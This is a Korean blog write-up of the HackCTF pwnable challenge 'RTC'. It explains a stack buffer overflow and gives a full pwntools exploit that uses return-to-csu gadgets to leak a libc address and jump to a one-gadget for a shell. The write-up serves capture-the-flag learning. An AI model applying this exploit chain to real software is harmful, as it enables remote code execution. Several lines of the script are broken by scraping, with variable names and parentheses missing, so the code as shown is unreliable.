HackCTF - RTC

2021. 1. 8. 20:22CTF's Write-up

 

문제 화면입니다.

 

ida main

 

 

return에서 read로 0x200을 읽기 때문에 bof가 터집니다.

 

checksec

 

간단히 보면 rop로 풀이가 가능할 것 같습니다.

 

 

하..지..만 read, write를 사용해서 rop를 하려면 pop rdi, pop rsi, pop rdx 가젯이 있어야하는데..

가젯이 없으니 문제 이름과 같이 RTC를 사용해서 풀이해보겠습니다.

 

 

간략하게 정리하면

 

 

 

이 부분을 이용해서 가젯을 조작하고,

 

 

이 부분을 이용해서 함수를 호출하면 됩니다.

payload는 아래와 같습니다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3025)
#r = process("./rtc")
= ELF("./rtc")
= ELF("./libc.so.6")
context.log_level = "debug"
 
r.recvuntil("?\n")
 
setting_csu = 0x00000000004006BA
excute_cse = 0x00000000004006A0
write_got_add = e.got['write']
read_got_add = e.got['read']
read_got_off = l.sym['read']
main_add = e.sym['main']
oneshot_off = 0x4526a
 
 
pay = "A"*0x48 #dummy + sfp
pay += p64(setting_csu) #ret
pay += p64(0#rbx
pay += p64(1#rbp
pay += p64(write_got_add) #r12 --> call
pay += p64(8#r13 --> rdx
pay += p64(read_got_add) #r14 --> rsi
pay += p64(1#r15 --> edi
pay += p64(excute_cse) #ret
 
pay += p64(0)*7 #dummy
pay += p64(main_add) #ret
 
r.send(pay)
 
 
leak = u64(r.recv(6+ "\x00\x00")
libc_base = leak - read_got_off
oneshot_add = libc_base + oneshot_off
 
log.info("leak = " + hex(leak))
log.info("libc_base = " + hex(libc_base))
log.info("oneshot_add = " + hex(oneshot_add))
 
 
r.recvuntil("?\n")
 
pay2 = "A"*0x48 #dummy + sfp
pay2 += p64(oneshot_add)
 
r.send(pay2)
r.interactive()
cs

 

 

 

이를 실행시키면

 

 

 

shell획득이 가능합니다 :)

'CTF's Write-up' 카테고리의 다른 글

HackCTF - World Best Encryption Tool  (0) 2021.01.11
HackCTF - Register  (0) 2021.01.10
DreamHack - simple-ssti  (0) 2021.01.04
DreamHack - web-misconf-1  (0) 2021.01.04
DreamHack - rev-basic-7  (0) 2021.01.03